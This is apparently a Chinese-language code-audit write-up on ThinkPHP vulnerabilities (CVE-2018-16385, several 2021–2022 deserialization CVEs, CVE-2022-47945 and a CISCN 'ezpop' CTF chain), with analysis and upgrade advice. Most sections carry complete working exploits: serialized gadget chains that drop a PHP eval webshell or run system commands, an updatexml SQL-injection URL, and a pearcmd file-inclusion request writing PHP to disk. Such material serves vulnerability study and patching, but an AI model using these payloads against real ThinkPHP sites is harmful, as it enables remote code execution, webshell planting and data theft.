代码审计之tp各版本链子调式随笔
字数 2818 2025-08-23 18:31:24

ThinkPHP 各版本漏洞分析与复现指南

目录

  1. CVE-2018-16385: ThinkPHP SQL注入漏洞
  2. CVE-2021-36564: ThinkPHP 反序列化漏洞
  3. CVE-2021-36567: ThinkPHP 反序列化漏洞
  4. CVE-2022-33107: ThinkPHP 反序列化漏洞
  5. CVE-2022-38352: ThinkPHP 反序列化漏洞
  6. CVE-2022-45982: ThinkPHP 反序列化漏洞
  7. CVE-2022-47945: ThinkPHP 文件包含漏洞
  8. ezpop 代码审计案例

CVE-2018-16385

漏洞描述

ThinkPHP 5.1.23之前版本存在SQL注入漏洞,由于程序在处理order by参数时未正确过滤数组的key值,导致用户可控参数可造成SQL注入。

影响范围

ThinkPHP < 5.1.23

环境搭建

git clone https://github.com/top-think/think.git
git checkout v5.1.22
修改composer.json的topthink/framework值为5.1.22
composer install

漏洞分析

  1. 漏洞触发点在thinkphp/library/think/db/Builder.phpparseOrder()函数
  2. foreach循环将$order数组分为key和value形式
  3. 关键点在于parseOrderField()函数中对$val值的处理不当
  4. 最终SQL拼接时使用key值,而val值被注释符注释掉

漏洞利用

// 构造恶意请求
http://target.com/index.php/index/index/sql?order[id,111)|updatexml(1,concat(0x3a,user()),1)#]=1

修复建议

升级至ThinkPHP 5.1.23或更高版本


CVE-2021-36564

漏洞描述

ThinkPHP v6.0.8通过组件league/flysystem-cached-adapter存在反序列化漏洞,可导致任意文件写入。

影响范围

ThinkPHP < 6.0.9

环境搭建

composer create-project topthink/think=6.0.x tp6.0.8
删除lock文件,修改composer.json后重新composer install

漏洞分析

  1. 入口点在AbstractCache__destruct方法
  2. 通过Adapter类的save()方法最终调用file_put_contents
  3. 关键点:
    • $this->file控制写入文件路径
    • $this->cache控制写入内容
    • $this->adapter需为Local类实例

PoC代码

<?php
namespace League\Flysystem\Adapter; class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
    protected $autosave; 
    protected $cache = [];
}
class Adapter extends AbstractCache{
    protected $adapter; 
    protected $file;
    function __construct(){
        $this->autosave=false;
        $this->adapter=new Local();
        $this->file='shell.php';
        $this->cache=['shell'=>'<?php eval($_GET[1]);?>'];
    }
}
namespace {
    $o = new Adapter();
    echo urlencode(serialize($o));
}
?>

修复建议

升级至ThinkPHP 6.0.9或更高版本


CVE-2021-36567

漏洞描述

ThinkPHP v6.0.8通过组件League\Flysystem\Cached\Storage\AbstractCache存在反序列化漏洞,Linux系统下可导致命令执行。

影响范围

ThinkPHP <= 6.0.8 (仅Linux系统有效)

漏洞分析

  1. 利用system(json_encode([$cleaned, $this->complete, $this->expire]))执行命令
  2. 构造$this->cache为命令执行payload
  3. 通过think\cache\driver\Fileset()方法最终执行系统命令

PoC代码

<?php
namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache {
        protected $autosave = false;
        protected $complete = [];
        protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > shell.php`'];
    }
}
namespace think\filesystem{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class CacheStore extends AbstractCache {
        protected $store; protected $key;
        public function __construct($store,$key,$expire){
            $this->key = $key;
            $this->store = $store;
            $this->expire = $expire;
        }
    }
}
namespace think\cache{ abstract class Driver{} }
namespace think\cache\driver{
    use think\cache\Driver;
    class File extends Driver {
        protected $options = [
            'expire' => 0,
            'cache_subdir' => false,
            'prefix' => false,
            'path' => 'shell',
            'hash_type' => 'md5',
            'serialize' => ['system']
        ];
    }
}
namespace{
    $b = new think\cache\driver\File();
    $a = new think\filesystem\CacheStore($b,'shell','1111');
    echo urlencode(serialize($a));
}

修复建议

升级至ThinkPHP 6.0.9或更高版本


CVE-2022-33107

漏洞描述

ThinkPHP v6.0.8反序列化漏洞,通过精心构造的链可实现任意文件写入。

影响范围

ThinkPHP <= 6.0.12

漏洞分析

  1. 入口点在think\Model__destruct方法
  2. 通过save() -> updateData() -> checkAllowFields() -> db()触发__toString
  3. 利用think\route\Url__toString方法触发后续链
  4. 最终通过think\session\driver\Filewrite方法写入文件

PoC代码

<?php
namespace think\model\concern{ trait Attribute{ private $data = ['shell']; }}
namespace think\view\driver{ class Php{}}
namespace think\session\driver{ class File{} }
namespace League\Flysystem{
    class File{
        protected $path; protected $filesystem;
        public function __construct($File){
            $this->path='shell.php';
            $this->filesystem=$File;
        }
    }
}
namespace think\console{
    use League\Flysystem\File;
    class Output{
        protected $styles=[];
        private $handle;
        public function __construct($File){
            $this->styles[]='getDomainBind';
            $this->handle=new File($File);
        }
    }
}
namespace think{
    abstract class Model{
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        protected $table;
        function __construct($cmd,$File){
            $this->lazySave = true;
            $this->withEvent = false;
            $this->table = new route\Url(new Middleware,new console\Output($File),$cmd);
        }
    }
    class Middleware{ public $request = 2333; }
}
namespace think\model{ use think\Model; class Pivot extends Model{}}
namespace think\route{
    class Url {
        protected $url = 'a:';
        protected $domain;
        protected $app;
        protected $route;
        function __construct($app,$route,$cmd){
            $this->domain = $cmd;
            $this->app = $app;
            $this->route = $route;
        }
    }
}
namespace{
    $zoe='<?= phpinfo(); exit();//';
    echo urlencode(serialize(new think\Model\Pivot($zoe,new think\session\driver\File)));
}

修复建议

升级至ThinkPHP 6.0.13或更高版本


CVE-2022-38352

漏洞描述

ThinkPHP v6.0.8通过组件League\Flysystem\Cached\Storage\Psr6Cache存在反序列化漏洞,可导致RCE。

影响范围

ThinkPHP <= 6.0.13

漏洞分析

  1. 入口点在Psr6Cache__destruct方法
  2. 通过think\log\Channel__call方法触发record
  3. 最终通过think\session\Storeserialize方法执行命令

PoC代码

<?php
namespace League\Flysystem\Cached\Storage{
    class Psr6Cache{
        private $pool;
        protected $autosave = false;
        public function __construct($exp){
            $this->pool = $exp;
        }
    }
}
namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;
        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}
namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php system(\'calc\'); exit();';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}
namespace think\view\driver{ class Php{}}
namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){
            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids'=>[],
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();
        }
    }
}
namespace{
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
    echo urlencode(base64_encode(serialize($a)));
}

修复建议

升级至ThinkPHP 6.0.14或更高版本


CVE-2022-45982

漏洞描述

ThinkPHP反序列化漏洞,通过精心构造的链可实现RCE。

影响范围

ThinkPHP 6.0.0~6.0.13 和 6.1.0~6.1.1

漏洞分析

  1. 入口点在think\Model__destruct方法
  2. 通过save() -> updateData() -> checkAllowFields()触发__toString
  3. 利用think\route\Url__toString方法触发后续链
  4. 最终通过think\Requestinput方法执行命令

PoC代码

<?php
namespace think {
    abstract class Model {
        private $lazySave = true;
        private $data = ['a' => 'b'];
        private $exists = true;
        protected $withEvent = false;
        protected $readonly = ['a'];
        protected $relationWrite;
        private $relation;
        private $origin = [];
        public function __construct($value) {
            $this->relation = ['r' => $this];
            $this->origin = ["n" => $value];
            $this->relationWrite = ['r' => ["n" => $value]];
        }
    }
    class App { protected $request; }
    class Request {
        protected $mergeParam = true;
        protected $param = ["whoami"];
        protected $filter = "system";
    }
}
namespace think\model { use think\Model; class Pivot extends Model { }}
namespace think\route {
    use think\App;
    class Url {
        protected $url = "";
        protected $domain = "domain";
        protected $route;
        protected $app;
        public function __construct($route) {
            $this->route = $route;
            $this->app = new App();
        }
    }
}
namespace think\log {
    class Channel {
        protected $lazy = false;
        protected $logger;
        protected $log = [];
        public function __construct($logger) {
            $this->logger = $logger;
        }
    }
}
namespace think\session {
    class Store {
        protected $data;
        protected $serialize = ["call_user_func"];
        protected $id = "";
        public function __construct($data) {
            $this->data = [$data, "param"];
        }
    }
}
namespace {
    $request = new think\Request();
    $store = new think\session\Store($request);
    $channel = new think\log\Channel($store);
    $url = new think\route\Url($channel);
    $model = new think\model\Pivot($url);
    echo urlencode(serialize($model));
}

修复建议

升级至ThinkPHP 6.0.14或6.1.2或更高版本


CVE-2022-47945

漏洞描述

ThinkPHP多语言功能存在目录穿越+文件包含漏洞,结合pearcmd可实现RCE。

影响范围

ThinkPHP <= 6.0.13

环境搭建

composer create-project topthink/think=6.0.12 tp6
修改composer.json的require内容为:
"require": {
    "php": ">=7.2.5",
    "topthink/framework": "6.0.12",
    "topthink/think-orm": "^2.0"
},
重新执行composer install

漏洞分析

  1. 修改app/middleware.php启用多语言加载中间件
  2. 通过lang参数控制文件包含路径
  3. 关键点:
    • detect函数检测lang参数
    • setLangSet设置语言
    • load函数最终包含指定文件

漏洞利用

http://target.com/public?lang=../../../../pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php

修复建议

  1. 升级至ThinkPHP 6.0.14或更高版本
  2. 禁用多语言功能或严格过滤输入

ezpop

题目分析

[CISCN 2022 初赛]ezpop代码审计案例

漏洞链

Model.php => save() => isEmpty() | updateData() => checkAllowFields() => db() 
=> $this->table . $this->suffix => toString() => model\concern\Conversion.php 
=> toJson() => toArray() => foreach() => getAttr($key) => getData()
=> getValue() => $value => getData($name) => getRealFieldName() 
=> $fieldName/$data/$value可控 => 返回getValue()方法
=> 绕过两个if判断 => $this->withAttr和$this->json可控 
=> getJsonValue() => $this->jsonAssoc => 触发$closure($value[$key], $value)

PoC代码

<?php
namespace think{
    abstract class Model{
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = ''){
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami',['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
namespace think\model{ use think\Model; class Pivot extends Model{} }
namespace {
    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

关键点

  1. 控制$this->data$this->withAttr实现命令执行
  2. 通过$this->jsonAssoc触发getJsonValue方法
  3. 利用$closure($value[$key], $value)执行系统命令

总结

本文详细分析了ThinkPHP多个版本的漏洞原理、利用方式和修复方案,涵盖了SQL注入、反序列化和文件包含等常见漏洞类型。在进行安全审计时,应重点关注:

  1. 反序列化入口点(__destruct/__wakeup)
  2. 危险函数调用(system/file_put_contents等)
  3. 用户输入过滤不严导致的注入问题
  4. 文件操作中的路径穿越问题

建议开发者及时升级框架版本,严格过滤用户输入,禁用不必要的功能组件,以最大程度降低安全风险。

ThinkPHP 各版本漏洞分析与复现指南 目录 CVE-2018-16385: ThinkPHP SQL注入漏洞 CVE-2021-36564: ThinkPHP 反序列化漏洞 CVE-2021-36567: ThinkPHP 反序列化漏洞 CVE-2022-33107: ThinkPHP 反序列化漏洞 CVE-2022-38352: ThinkPHP 反序列化漏洞 CVE-2022-45982: ThinkPHP 反序列化漏洞 CVE-2022-47945: ThinkPHP 文件包含漏洞 ezpop 代码审计案例 CVE-2018-16385 漏洞描述 ThinkPHP 5.1.23之前版本存在SQL注入漏洞,由于程序在处理 order by 参数时未正确过滤数组的key值,导致用户可控参数可造成SQL注入。 影响范围 ThinkPHP < 5.1.23 环境搭建 漏洞分析 漏洞触发点在 thinkphp/library/think/db/Builder.php 的 parseOrder() 函数 foreach 循环将 $order 数组分为key和value形式 关键点在于 parseOrderField() 函数中对 $val 值的处理不当 最终SQL拼接时使用key值,而val值被注释符注释掉 漏洞利用 修复建议 升级至ThinkPHP 5.1.23或更高版本 CVE-2021-36564 漏洞描述 ThinkPHP v6.0.8通过组件 league/flysystem-cached-adapter 存在反序列化漏洞,可导致任意文件写入。 影响范围 ThinkPHP < 6.0.9 环境搭建 漏洞分析 入口点在 AbstractCache 的 __destruct 方法 通过 Adapter 类的 save() 方法最终调用 file_put_contents 关键点: $this->file 控制写入文件路径 $this->cache 控制写入内容 $this->adapter 需为 Local 类实例 PoC代码 修复建议 升级至ThinkPHP 6.0.9或更高版本 CVE-2021-36567 漏洞描述 ThinkPHP v6.0.8通过组件 League\Flysystem\Cached\Storage\AbstractCache 存在反序列化漏洞,Linux系统下可导致命令执行。 影响范围 ThinkPHP <= 6.0.8 (仅Linux系统有效) 漏洞分析 利用 system(json_encode([$cleaned, $this->complete, $this->expire])) 执行命令 构造 $this->cache 为命令执行payload 通过 think\cache\driver\File 的 set() 方法最终执行系统命令 PoC代码 修复建议 升级至ThinkPHP 6.0.9或更高版本 CVE-2022-33107 漏洞描述 ThinkPHP v6.0.8反序列化漏洞,通过精心构造的链可实现任意文件写入。 影响范围 ThinkPHP <= 6.0.12 漏洞分析 入口点在 think\Model 的 __destruct 方法 通过 save() -> updateData() -> checkAllowFields() -> db() 触发 __toString 利用 think\route\Url 的 __toString 方法触发后续链 最终通过 think\session\driver\File 的 write 方法写入文件 PoC代码 修复建议 升级至ThinkPHP 6.0.13或更高版本 CVE-2022-38352 漏洞描述 ThinkPHP v6.0.8通过组件 League\Flysystem\Cached\Storage\Psr6Cache 存在反序列化漏洞,可导致RCE。 影响范围 ThinkPHP <= 6.0.13 漏洞分析 入口点在 Psr6Cache 的 __destruct 方法 通过 think\log\Channel 的 __call 方法触发 record 最终通过 think\session\Store 的 serialize 方法执行命令 PoC代码 修复建议 升级至ThinkPHP 6.0.14或更高版本 CVE-2022-45982 漏洞描述 ThinkPHP反序列化漏洞,通过精心构造的链可实现RCE。 影响范围 ThinkPHP 6.0.0~6.0.13 和 6.1.0~6.1.1 漏洞分析 入口点在 think\Model 的 __destruct 方法 通过 save() -> updateData() -> checkAllowFields() 触发 __toString 利用 think\route\Url 的 __toString 方法触发后续链 最终通过 think\Request 的 input 方法执行命令 PoC代码 修复建议 升级至ThinkPHP 6.0.14或6.1.2或更高版本 CVE-2022-47945 漏洞描述 ThinkPHP多语言功能存在目录穿越+文件包含漏洞,结合pearcmd可实现RCE。 影响范围 ThinkPHP <= 6.0.13 环境搭建 漏洞分析 修改 app/middleware.php 启用多语言加载中间件 通过 lang 参数控制文件包含路径 关键点: detect 函数检测 lang 参数 setLangSet 设置语言 load 函数最终包含指定文件 漏洞利用 修复建议 升级至ThinkPHP 6.0.14或更高版本 禁用多语言功能或严格过滤输入 ezpop 题目分析 [ CISCN 2022 初赛 ]ezpop代码审计案例 漏洞链 PoC代码 关键点 控制 $this->data 和 $this->withAttr 实现命令执行 通过 $this->jsonAssoc 触发 getJsonValue 方法 利用 $closure($value[$key], $value) 执行系统命令 总结 本文详细分析了ThinkPHP多个版本的漏洞原理、利用方式和修复方案,涵盖了SQL注入、反序列化和文件包含等常见漏洞类型。在进行安全审计时,应重点关注: 反序列化入口点( __destruct / __wakeup ) 危险函数调用( system / file_put_contents 等) 用户输入过滤不严导致的注入问题 文件操作中的路径穿越问题 建议开发者及时升级框架版本,严格过滤用户输入,禁用不必要的功能组件,以最大程度降低安全风险。